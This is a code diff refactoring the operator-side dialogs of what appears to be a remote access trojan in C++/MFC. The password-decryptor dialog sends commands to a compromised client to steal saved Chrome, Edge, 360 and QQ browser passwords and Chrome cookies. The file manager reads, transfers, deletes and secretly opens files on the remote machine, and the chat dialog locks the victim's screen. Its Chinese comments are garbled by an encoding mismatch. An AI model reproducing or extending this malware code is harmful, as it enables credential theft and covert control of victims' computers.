||||
m_ContextObject->CancelIO();
|
||||
CancelIO();
|
||||
// <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (IsProcessing()) {
|
||||
ShowWindow(SW_HIDE);
|
||||
return;
|
||||
}
|
||||
|
||||
CDialogBase::OnClose();
|
||||
}
|
||||
@@ -140,7 +141,7 @@ HBRUSH CChat::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
|
||||
|
||||
void CChat::PostNcDestroy()
|
||||
{
|
||||
if (!m_bOnClose)
|
||||
if (!m_bIsClosed)
|
||||
OnCancel();
|
||||
CDialog::PostNcDestroy();
|
||||
delete this;
|
||||
@@ -170,11 +171,11 @@ void CChat::OnBnClickedButton_LOCK()
|
||||
{
|
||||
|
||||
BYTE bToken = COMMAND_CHAT_SCREEN_LOCK;
|
||||
m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
void CChat::OnBnClickedButton_UNLOCK()
|
||||
{
|
||||
BYTE bToken = COMMAND_CHAT_SCREEN_UNLOCK;
|
||||
m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
@@ -9,7 +9,7 @@ class CChat : public DialogBase
|
||||
{
|
||||
// Construction
|
||||
public:
|
||||
CChat(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL);
|
||||
CChat(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext* pContext = NULL);
|
||||
void OnReceiveComplete();
|
||||
void OnReceive();
|
||||
|
||||
@@ -24,8 +24,6 @@ protected:
|
||||
|
||||
// Implementation
|
||||
protected:
|
||||
ClientContext* m_pContext;
|
||||
ISocketBase* m_iocpServer;
|
||||
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnButtonSend();
|
||||
@@ -36,9 +34,7 @@ protected:
|
||||
afx_msg void OnKillfocusEditChatLog();
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
private:
|
||||
HICON m_hIcon;
|
||||
BOOL m_bOnClose;
|
||||
|
||||
public:
|
||||
CEdit m_editTip;
|
||||
CEdit m_editNewMsg;
|
||||
|
||||
@@ -1,55 +0,0 @@
|
||||
#include "stdafx.h"
|
||||
#include "CpuUseage.h"
|
||||
|
||||
//ϵͳ<CFB5><CDB3><EFBFBD>ܼ<EFBFBD><DCBC><EFBFBD><EFBFBD><EFBFBD>
|
||||
CCpuUsage::CCpuUsage()
|
||||
{
|
||||
m_hQuery = NULL;
|
||||
m_pCounterStruct = NULL;
|
||||
|
||||
}
|
||||
|
||||
CCpuUsage::~CCpuUsage()
|
||||
{
|
||||
PdhCloseQuery(m_hQuery); //<2F>رռ<D8B1><D5BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (m_pCounterStruct)
|
||||
delete m_pCounterStruct;
|
||||
}
|
||||
|
||||
|
||||
BOOL CCpuUsage::Init()
|
||||
{
|
||||
if (ERROR_SUCCESS != PdhOpenQuery(NULL, 1, &m_hQuery)) //<2F><EFBFBD><F2BFAABC><EFBFBD><EFBFBD><EFBFBD>
|
||||
return FALSE;
|
||||
|
||||
m_pCounterStruct = (PPDHCOUNTERSTRUCT) new PDHCOUNTERSTRUCT;
|
||||
|
||||
//ͳ<>Ƹ<EFBFBD><C6B8><EFBFBD>Ȥ<EFBFBD><C8A4>ϵͳ<CFB5><CDB3>Ϣʱ<CFA2><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƚ<EFBFBD><C8BD><EFBFBD>Ӧ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӽ<EFBFBD><D3BD><EFBFBD>
|
||||
PDH_STATUS pdh_status = PdhAddCounter(m_hQuery, (LPCSTR)szCounterName,
|
||||
(DWORD_PTR) m_pCounterStruct, &(m_pCounterStruct->hCounter));
|
||||
if (ERROR_SUCCESS != pdh_status)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
int CCpuUsage::GetUsage()
|
||||
{
|
||||
PDH_FMT_COUNTERVALUE pdhFormattedValue;
|
||||
|
||||
PdhCollectQueryData(m_hQuery);
|
||||
|
||||
//<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݻ<EFBFBD><DDBB>õ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ
|
||||
if (ERROR_SUCCESS != PdhGetFormattedCounterValue(m_pCounterStruct->hCounter,
|
||||
PDH_FMT_LONG,
|
||||
NULL,
|
||||
&pdhFormattedValue ))
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
return pdhFormattedValue.longValue;
|
||||
}
|
||||
@@ -1,34 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#include <pdh.h>
|
||||
#include <pdhmsg.h>
|
||||
|
||||
#pragma comment(lib,"PDH.lib")
|
||||
|
||||
#define MAX_RAW_VALUES 20
|
||||
|
||||
//process <20><>Ŀ<EFBFBD>µ<EFBFBD>% Processor Time<6D><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǹ<EFBFBD><C7B9>ڽ<EFBFBD><DABD><EFBFBD>CPUʹ<55>ʵ<EFBFBD>
|
||||
const char szCounterName[] = "\\Processor(_Total)\\% Processor Time";
|
||||
|
||||
typedef struct _tag_PDHCounterStruct {
|
||||
HCOUNTER hCounter;
|
||||
int nNextIndex;
|
||||
int nOldestIndex;
|
||||
int nRawCount;
|
||||
PDH_RAW_COUNTER a_RawValue[MAX_RAW_VALUES];
|
||||
} PDHCOUNTERSTRUCT, *PPDHCOUNTERSTRUCT;
|
||||
|
||||
|
||||
class CCpuUsage
|
||||
{
|
||||
public:
|
||||
CCpuUsage();
|
||||
virtual ~CCpuUsage();
|
||||
BOOL Init();
|
||||
int GetUsage();
|
||||
|
||||
protected:
|
||||
|
||||
PPDHCOUNTERSTRUCT m_pCounterStruct;
|
||||
HQUERY m_hQuery;
|
||||
};
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
IMPLEMENT_DYNAMIC(DecryptDlg, CDialog)
|
||||
|
||||
DecryptDlg::DecryptDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject)
|
||||
DecryptDlg::DecryptDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject)
|
||||
: CDialogBase(DecryptDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_DECRYPT) {
|
||||
}
|
||||
|
||||
@@ -41,7 +41,7 @@ BOOL DecryptDlg::OnInitDialog() {
|
||||
SetWindowText(str);
|
||||
|
||||
BYTE bToken = COMMAND_NEXT;
|
||||
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
|
||||
m_EditDecrypedResult.SetWindowTextA(CString("<<< <20><>ʾ: <20><><EFBFBD>ڲ˵<DAB2>ѡ<EFBFBD><D1A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> >>>\r\n"));
|
||||
int m_nCurSel = m_EditDecrypedResult.GetWindowTextLengthA();
|
||||
m_EditDecrypedResult.SetSel((int)m_nCurSel, (int)m_nCurSel);
|
||||
@@ -60,8 +60,12 @@ VOID DecryptDlg::OnReceiveComplete() {
|
||||
}
|
||||
|
||||
void DecryptDlg::OnClose() {
|
||||
m_ContextObject->CancelIO();
|
||||
|
||||
CancelIO();
|
||||
// <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (IsProcessing()) {
|
||||
ShowWindow(SW_HIDE);
|
||||
return;
|
||||
}
|
||||
CDialogBase::OnClose();
|
||||
}
|
||||
|
||||
@@ -78,40 +82,40 @@ void DecryptDlg::OnSize(UINT nType, int cx, int cy)
|
||||
void DecryptDlg::OnDecryptChrome()
|
||||
{
|
||||
BYTE bToken[32] = { COMMAND_LLQ_GetChromePassWord };
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
|
||||
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||
}
|
||||
|
||||
|
||||
void DecryptDlg::OnDecryptEdge()
|
||||
{
|
||||
BYTE bToken[32] = { COMMAND_LLQ_GetEdgePassWord };
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
|
||||
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||
}
|
||||
|
||||
|
||||
void DecryptDlg::OnDecryptSpeed360()
|
||||
{
|
||||
BYTE bToken[32] = { COMMAND_LLQ_GetSpeed360PassWord };
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
|
||||
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||
}
|
||||
|
||||
|
||||
void DecryptDlg::OnDecrypt360()
|
||||
{
|
||||
BYTE bToken[32] = { COMMAND_LLQ_Get360sePassWord };
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
|
||||
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||
}
|
||||
|
||||
|
||||
void DecryptDlg::OnDecryptQQ()
|
||||
{
|
||||
BYTE bToken[32] = { COMMAND_LLQ_GetQQBroPassWord };
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
|
||||
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||
}
|
||||
|
||||
|
||||
void DecryptDlg::OnDecryptChromeCookies()
|
||||
{
|
||||
BYTE bToken[32] = { COMMAND_LLQ_GetChromeCookies };
|
||||
m_iocpServer->Send2Client(m_ContextObject, bToken, sizeof(bToken));
|
||||
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||
}
|
||||
|
||||
@@ -8,7 +8,7 @@ class DecryptDlg : public CDialogBase
|
||||
DECLARE_DYNAMIC(DecryptDlg)
|
||||
|
||||
public:
|
||||
DecryptDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT* ContextObject = NULL);
|
||||
DecryptDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT* ContextObject = NULL);
|
||||
virtual ~DecryptDlg();
|
||||
|
||||
VOID OnReceiveComplete();
|
||||
|
||||
@@ -19,6 +19,9 @@ static UINT indicators[] =
|
||||
ID_SEPARATOR
|
||||
};
|
||||
|
||||
#define MAX_SEND_BUFFER 65535
|
||||
#define MAX_RECV_BUFFER 65535
|
||||
|
||||
typedef struct {
|
||||
LVITEM* plvi;
|
||||
CString sCol2;
|
||||
@@ -35,8 +38,8 @@ float GetScreenScalingFactor() {
|
||||
return dpiX / 96.0f;
|
||||
}
|
||||
|
||||
CFileManagerDlg::CFileManagerDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
|
||||
: CDialog(CFileManagerDlg::IDD, pParent)
|
||||
CFileManagerDlg::CFileManagerDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext)
|
||||
: DialogBase(CFileManagerDlg::IDD, pParent, pIOCPServer, pContext, IDI_ICON_FATHER)
|
||||
{
|
||||
m_fScalingFactor = GetScreenScalingFactor();
|
||||
//{{AFX_DATA_INIT(CFileManagerDlg)
|
||||
@@ -52,7 +55,6 @@ CFileManagerDlg::CFileManagerDlg(CWnd* pParent, CIOCPServer* pIOCPServer, Client
|
||||
sizeof(SHFILEINFO),
|
||||
SHGFI_ICON | SHGFI_USEFILEATTRIBUTES
|
||||
);
|
||||
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON_FATHER));
|
||||
// <20><><EFBFBD><EFBFBD>ϵͳͼ<CDB3><CDBC><EFBFBD>б<EFBFBD>
|
||||
static HIMAGELIST hImageList_Large = (HIMAGELIST)SHGetFileInfo
|
||||
(
|
||||
@@ -77,21 +79,10 @@ CFileManagerDlg::CFileManagerDlg(CWnd* pParent, CIOCPServer* pIOCPServer, Client
|
||||
static CImageList *pSmall = CImageList::FromHandle(hImageList_Small);
|
||||
m_pImageList_Small = pSmall;
|
||||
|
||||
// <20><>ʼ<EFBFBD><CABC>Ӧ<EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD>СΪ0
|
||||
|
||||
m_iocpServer = pIOCPServer;
|
||||
m_pContext = pContext;
|
||||
sockaddr_in sockAddr;
|
||||
memset(&sockAddr, 0, sizeof(sockAddr));
|
||||
int nSockAddrLen = sizeof(sockAddr);
|
||||
BOOL bResult = getpeername(m_pContext->m_Socket,(SOCKADDR*)&sockAddr, &nSockAddrLen);
|
||||
|
||||
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
memset(m_bRemoteDriveList, 0, sizeof(m_bRemoteDriveList));
|
||||
PBYTE pSrc = m_pContext->m_DeCompressionBuffer.GetBuffer(1);
|
||||
int length = m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
|
||||
PBYTE pSrc = m_ContextObject->m_DeCompressionBuffer.GetBuffer(1);
|
||||
int length = m_ContextObject->m_DeCompressionBuffer.GetBufferLen() - 1;
|
||||
if (length > 0)
|
||||
memcpy(m_bRemoteDriveList, pSrc, length);
|
||||
|
||||
@@ -895,20 +886,15 @@ void CFileManagerDlg::FixedRemoteDriveList()
|
||||
|
||||
void CFileManagerDlg::OnClose()
|
||||
{
|
||||
// TODO: Add your message handler code here and/or call default
|
||||
CancelIO();
|
||||
// <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (IsProcessing()) {
|
||||
ShowWindow(SW_HIDE);
|
||||
return;
|
||||
}
|
||||
CoUninitialize();
|
||||
|
||||
#if CLOSE_DELETE_DLG
|
||||
m_pContext->v1 = 0;
|
||||
#endif
|
||||
|
||||
closesocket(m_pContext->m_Socket);
|
||||
|
||||
CDialog::OnClose();
|
||||
m_bIsClosed = true;
|
||||
#if CLOSE_DELETE_DLG
|
||||
//delete this; //<2F>˴<EFBFBD><CBB4>ͷ<EFBFBD><CDB7>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ڵ<EFBFBD>2<EFBFBD>α<EFBFBD><CEB1><EFBFBD>
|
||||
#endif
|
||||
DialogBase::OnClose();
|
||||
}
|
||||
|
||||
CString CFileManagerDlg::GetParentDirectory(CString strPath)
|
||||
@@ -935,15 +921,15 @@ CString CFileManagerDlg::GetParentDirectory(CString strPath)
|
||||
|
||||
void CFileManagerDlg::OnReceiveComplete()
|
||||
{
|
||||
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
|
||||
switch (m_ContextObject->m_DeCompressionBuffer.GetBuffer(0)[0])
|
||||
{
|
||||
case TOKEN_FILE_LIST: // <20>ļ<EFBFBD><C4BC>б<EFBFBD>
|
||||
try
|
||||
{
|
||||
FixedRemoteFileList
|
||||
(
|
||||
m_pContext->m_DeCompressionBuffer.GetBuffer(0),
|
||||
m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1
|
||||
m_ContextObject->m_DeCompressionBuffer.GetBuffer(0),
|
||||
m_ContextObject->m_DeCompressionBuffer.GetBufferLen() - 1
|
||||
);
|
||||
}
|
||||
catch (CMemoryException* e)
|
||||
@@ -1039,7 +1025,7 @@ void CFileManagerDlg::GetRemoteFileList(CString directory)
|
||||
|
||||
bPacket[0] = COMMAND_LIST_FILES;
|
||||
memcpy(bPacket + 1, m_Remote_Path.GetBuffer(0), PacketSize - 1);
|
||||
m_iocpServer->Send(m_pContext, bPacket, PacketSize);
|
||||
m_ContextObject->Send2Client(bPacket, PacketSize);
|
||||
LocalFree(bPacket);
|
||||
|
||||
m_Remote_Directory_ComboBox.InsertString(0, m_Remote_Path);
|
||||
@@ -1498,7 +1484,7 @@ BOOL CFileManagerDlg::SendDownloadJob()
|
||||
bPacket[0] = COMMAND_DOWN_FILES;
|
||||
// <20>ļ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||
memcpy(bPacket + 1, file.GetBuffer(0), file.GetLength() + 1);
|
||||
m_iocpServer->Send(m_pContext, bPacket, nPacketSize);
|
||||
m_ContextObject->Send2Client(bPacket, nPacketSize);
|
||||
|
||||
LocalFree(bPacket);
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
|
||||
@@ -1555,7 +1541,7 @@ BOOL CFileManagerDlg::SendUploadJob()
|
||||
memcpy(bPacket + 5, &dwSizeLow, sizeof(DWORD));
|
||||
memcpy(bPacket + 9, fileRemote.GetBuffer(0), fileRemote.GetLength() + 1);
|
||||
|
||||
m_iocpServer->Send(m_pContext, bPacket, nPacketSize);
|
||||
m_ContextObject->Send2Client(bPacket, nPacketSize);
|
||||
|
||||
LocalFree(bPacket);
|
||||
|
||||
@@ -1586,7 +1572,7 @@ BOOL CFileManagerDlg::SendDeleteJob()
|
||||
}
|
||||
// <20>ļ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||
memcpy(bPacket + 1, file.GetBuffer(0), nPacketSize - 1);
|
||||
m_iocpServer->Send(m_pContext, bPacket, nPacketSize);
|
||||
m_ContextObject->Send2Client(bPacket, nPacketSize);
|
||||
|
||||
LocalFree(bPacket);
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
|
||||
@@ -1614,14 +1600,14 @@ void CFileManagerDlg::CreateLocalRecvFile()
|
||||
strDestDirectory += m_hCopyDestFolder + "\\";
|
||||
}
|
||||
|
||||
FILESIZE *pFileSize = (FILESIZE *)(m_pContext->m_DeCompressionBuffer.GetBuffer(1));
|
||||
FILESIZE *pFileSize = (FILESIZE *)(m_ContextObject->m_DeCompressionBuffer.GetBuffer(1));
|
||||
DWORD dwSizeHigh = pFileSize->dwSizeHigh;
|
||||
DWORD dwSizeLow = pFileSize->dwSizeLow;
|
||||
|
||||
m_nOperatingFileLength = (dwSizeHigh * (MAXDWORD+long long(1))) + dwSizeLow;
|
||||
|
||||
// <20><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||
m_strOperatingFile = m_pContext->m_DeCompressionBuffer.GetBuffer(9);
|
||||
m_strOperatingFile = m_ContextObject->m_DeCompressionBuffer.GetBuffer(9);
|
||||
|
||||
m_strReceiveLocalFile = m_strOperatingFile;
|
||||
|
||||
@@ -1766,7 +1752,7 @@ void CFileManagerDlg::CreateLocalRecvFile()
|
||||
else
|
||||
{
|
||||
// <20><><EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>token,<2C><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƫ<EFBFBD><C6AB>
|
||||
m_iocpServer->Send(m_pContext, bToken, sizeof(bToken));
|
||||
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1780,16 +1766,16 @@ void CFileManagerDlg::WriteLocalRecvFile()
|
||||
int nHeadLength = 9; // 1 + 4 + 4 <20><><EFBFBD>ݰ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>С<EFBFBD><D0A1>Ϊ<EFBFBD>̶<EFBFBD><CCB6><EFBFBD>9
|
||||
FILESIZE *pFileSize;
|
||||
// <20>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݵ<EFBFBD>ƫ<EFBFBD><C6AB>
|
||||
pData = m_pContext->m_DeCompressionBuffer.GetBuffer(nHeadLength);
|
||||
pData = m_ContextObject->m_DeCompressionBuffer.GetBuffer(nHeadLength);
|
||||
|
||||
pFileSize = (FILESIZE *)m_pContext->m_DeCompressionBuffer.GetBuffer(1);
|
||||
pFileSize = (FILESIZE *)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1);
|
||||
// <20>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>е<EFBFBD>ƫ<EFBFBD><C6AB>, <20><>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_nCounter = MAKEINT64(pFileSize->dwSizeLow, pFileSize->dwSizeHigh);
|
||||
|
||||
LONG dwOffsetHigh = pFileSize->dwSizeHigh;
|
||||
LONG dwOffsetLow = pFileSize->dwSizeLow;
|
||||
|
||||
dwBytesToWrite = m_pContext->m_DeCompressionBuffer.GetBufferLen() - nHeadLength;
|
||||
dwBytesToWrite = m_ContextObject->m_DeCompressionBuffer.GetBufferLen() - nHeadLength;
|
||||
|
||||
HANDLE hFile =
|
||||
CreateFile
|
||||
@@ -1839,7 +1825,7 @@ void CFileManagerDlg::WriteLocalRecvFile()
|
||||
dwOffsetLow += dwBytesWrite;
|
||||
memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh));
|
||||
memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow));
|
||||
m_iocpServer->Send(m_pContext, bToken, sizeof(bToken));
|
||||
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1913,19 +1899,19 @@ void CFileManagerDlg::EndRemoteDeleteFile()
|
||||
void CFileManagerDlg::SendException()
|
||||
{
|
||||
BYTE bBuff = COMMAND_EXCEPTION;
|
||||
m_iocpServer->Send(m_pContext, &bBuff, 1);
|
||||
m_ContextObject->Send2Client(&bBuff, 1);
|
||||
}
|
||||
|
||||
void CFileManagerDlg::SendContinue()
|
||||
{
|
||||
BYTE bBuff = COMMAND_CONTINUE;
|
||||
m_iocpServer->Send(m_pContext, &bBuff, 1);
|
||||
m_ContextObject->Send2Client(&bBuff, 1);
|
||||
}
|
||||
|
||||
void CFileManagerDlg::SendStop()
|
||||
{
|
||||
BYTE bBuff = COMMAND_STOP;
|
||||
m_iocpServer->Send(m_pContext, &bBuff, 1);
|
||||
m_ContextObject->Send2Client(&bBuff, 1);
|
||||
}
|
||||
|
||||
void CFileManagerDlg::ShowProgress()
|
||||
@@ -2085,12 +2071,12 @@ void CFileManagerDlg::SendTransferMode()
|
||||
BYTE bToken[5];
|
||||
bToken[0] = COMMAND_SET_TRANSFER_MODE;
|
||||
memcpy(bToken + 1, &m_nTransferMode, sizeof(m_nTransferMode));
|
||||
m_iocpServer->Send(m_pContext, (unsigned char *)&bToken, sizeof(bToken));
|
||||
m_ContextObject->Send2Client((unsigned char *)&bToken, sizeof(bToken));
|
||||
}
|
||||
|
||||
void CFileManagerDlg::SendFileData()
|
||||
{
|
||||
FILESIZE *pFileSize = (FILESIZE *)(m_pContext->m_DeCompressionBuffer.GetBuffer(1));
|
||||
FILESIZE *pFileSize = (FILESIZE *)(m_ContextObject->m_DeCompressionBuffer.GetBuffer(1));
|
||||
LONG dwOffsetHigh = pFileSize->dwSizeHigh ;
|
||||
LONG dwOffsetLow = pFileSize->dwSizeLow;
|
||||
|
||||
@@ -2130,7 +2116,7 @@ void CFileManagerDlg::SendFileData()
|
||||
if (nNumberOfBytesRead > 0)
|
||||
{
|
||||
int nPacketSize = nNumberOfBytesRead + nHeadLength;
|
||||
m_iocpServer->Send(m_pContext, lpBuffer, nPacketSize);
|
||||
m_ContextObject->Send2Client(lpBuffer, nPacketSize);
|
||||
}
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
@@ -2209,7 +2195,7 @@ void CFileManagerDlg::OnRemoteNewfolder()
|
||||
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, file.GetLength() + 2);
|
||||
lpBuffer[0] = COMMAND_CREATE_FOLDER;
|
||||
memcpy(lpBuffer + 1, file.GetBuffer(0), nPacketSize - 1);
|
||||
m_iocpServer->Send(m_pContext, lpBuffer, nPacketSize);
|
||||
m_ContextObject->Send2Client(lpBuffer, nPacketSize);
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
}
|
||||
@@ -2276,7 +2262,7 @@ void CFileManagerDlg::OnEndlabeleditListRemote(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
memcpy(lpBuffer + 1, strExistingFileName.GetBuffer(0), strExistingFileName.GetLength() + 1);
|
||||
memcpy(lpBuffer + 2 + strExistingFileName.GetLength(),
|
||||
strNewFileName.GetBuffer(0), strNewFileName.GetLength() + 1);
|
||||
m_iocpServer->Send(m_pContext, lpBuffer, nPacketSize);
|
||||
m_ContextObject->Send2Client(lpBuffer, nPacketSize);
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
*pResult = 1;
|
||||
@@ -2345,7 +2331,7 @@ void CFileManagerDlg::OnRemoteOpenShow()
|
||||
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
|
||||
lpPacket[0] = COMMAND_OPEN_FILE_SHOW;
|
||||
memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1);
|
||||
m_iocpServer->Send(m_pContext, lpPacket, nPacketLength);
|
||||
m_ContextObject->Send2Client(lpPacket, nPacketLength);
|
||||
LocalFree(lpPacket);
|
||||
}
|
||||
|
||||
@@ -2359,7 +2345,7 @@ void CFileManagerDlg::OnRemoteOpenHide()
|
||||
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
|
||||
lpPacket[0] = COMMAND_OPEN_FILE_HIDE;
|
||||
memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1);
|
||||
m_iocpServer->Send(m_pContext, lpPacket, nPacketLength);
|
||||
m_ContextObject->Send2Client(lpPacket, nPacketLength);
|
||||
LocalFree(lpPacket);
|
||||
}
|
||||
|
||||
|
||||
@@ -26,13 +26,9 @@ typedef struct
|
||||
|
||||
#define m_Socket sClientSocket
|
||||
|
||||
#define Send OnClientPreSending
|
||||
|
||||
#define MAKEINT64(low, high) ((unsigned __int64)(((DWORD)(low)) | ((unsigned __int64)((DWORD)(high))) << 32))
|
||||
|
||||
#define MAX_WRITE_RETRY 15 // <20><><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
#define MAX_SEND_BUFFER 1024 * 8 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||
#define MAX_RECV_BUFFER 1024 * 8 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
|
||||
|
||||
#define WM_MY_MESSAGE (WM_USER+300)
|
||||
|
||||
@@ -43,7 +39,7 @@ typedef struct
|
||||
// CFileManagerDlg dialog
|
||||
typedef CList<CString, CString&> strList;
|
||||
|
||||
class CFileManagerDlg : public CDialog
|
||||
class CFileManagerDlg : public DialogBase
|
||||
{
|
||||
protected:
|
||||
// <20><><EFBFBD><EFBFBD>״̬<D7B4><CCAC><EFBFBD><EFBFBD>Ϣ
|
||||
@@ -94,10 +90,6 @@ public:
|
||||
|
||||
int m_nNewIconBaseIndex; // <20>¼ӵ<C2BC>ICON
|
||||
|
||||
ClientContext* m_pContext;
|
||||
CIOCPServer* m_iocpServer;
|
||||
CString m_IPAddress;
|
||||
|
||||
CProgressCtrl* m_ProgressCtrl;
|
||||
HCURSOR m_hCursor;
|
||||
CString m_Local_Path;
|
||||
@@ -108,10 +100,9 @@ public:
|
||||
void GetRemoteFileList(CString directory = "");
|
||||
void FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen);
|
||||
|
||||
HICON m_hIcon;
|
||||
CStatusBar m_wndStatusBar;
|
||||
CFileManagerDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
|
||||
bool m_bIsClosed;
|
||||
CFileManagerDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
|
||||
|
||||
~CFileManagerDlg()
|
||||
{
|
||||
